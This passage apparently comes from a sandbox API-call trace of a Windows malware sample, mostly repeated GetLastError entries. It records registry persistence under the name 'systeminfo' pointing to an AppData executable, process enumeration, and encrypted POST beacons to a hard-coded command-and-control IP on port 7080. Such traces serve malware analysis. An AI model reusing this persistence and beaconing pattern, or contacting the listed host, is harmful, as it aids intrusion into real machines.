() returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.588] GetLastError () returned 0x0 [0082.590] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.590] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.591] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.592] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.593] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.594] GetLastError () returned 0x0 [0082.595] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0082.595] lstrlenA (lpString="just string") returned 11 [0082.595] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0082.595] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3a50, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3a50*, lpdwNumberOfBytesRead=0x290f4bc*=0x94) returned 1 [0082.595] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3ae4, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3ae4*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0082.595] GetLastError () returned 0x0 [0082.595] GetCurrentProcessId () returned 0x81c [0082.595] GetCurrentProcessId () returned 0x81c [0082.595] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0082.595] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db728, Final=1, dwFlags=0x0, pbData=0x40cc80, pdwDataLen=0x290f58c | out: pbData=0x40cc80, pdwDataLen=0x290f58c) returned 1 [0082.595] CryptVerifySignatureW (hHash=0x3db728, pbSignature=0x33c3a50, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0082.595] CryptDestroyHash (hHash=0x3db728) returned 1 [0082.595] lstrlenA (lpString="just string") returned 11 [0082.595] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0082.602] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0082.602] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0082.602] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0082.602] RegSetValueExW (in: hKey=0x3b8, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0082.602] RegCloseKey (hKey=0x3b8) returned 0x0 [0082.602] GetLastError () returned 0x0 [0083.003] GetTickCount () returned 0x23bf6 [0083.003] GetCurrentProcessId () returned 0x81c [0083.003] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x290f388, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0083.003] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0083.003] lstrlenA (lpString="just string") returned 11 [0083.003] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0083.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0083.005] GetLastError () returned 0x0 [0083.005] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0083.005] GetLastError () returned 0x0 [0083.005] GetCurrentProcessId () returned 0x81c [0083.020] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0083.020] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db728, Final=1, dwFlags=0x0, pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x23c, dwBufLen=0x240 | out: pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x240) returned 1 [0083.020] GetCurrentProcessId () returned 0x81c [0083.020] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0083.020] lstrlenA (lpString="just string") returned 11 [0083.020] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0083.020] CryptGetHashParam (in: hHash=0x3db728, dwParam=0x2, pbData=0x40bf48, pdwDataLen=0x290f4b0, dwFlags=0x0 | out: pbData=0x40bf48, pdwDataLen=0x290f4b0) returned 1 [0083.020] CryptDestroyHash (hHash=0x3db728) returned 1 [0083.020] GetLastError () returned 0x0 [0083.020] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0083.020] lstrlenA (lpString="just string") returned 11 [0083.020] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0083.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0083.020] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0083.020] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0083.020] GetCurrentProcessId () returned 0x81c [0083.020] GetCurrentProcessId () returned 0x81c [0083.020] GetCurrentProcessId () returned 0x81c [0083.021] lstrlenA (lpString="just string") returned 11 [0083.021] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0083.021] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0083.022] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x40bee8*, dwOptionalLength=0x2b4 | out: lpOptional=0x40bee8*) returned 1 [0083.586] GetCurrentProcessId () returned 0x81c [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.586] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.587] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.588] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.589] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.590] GetLastError () returned 0x0 [0083.591] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0083.591] GetCurrentProcessId () returned 0x81c [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.591] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 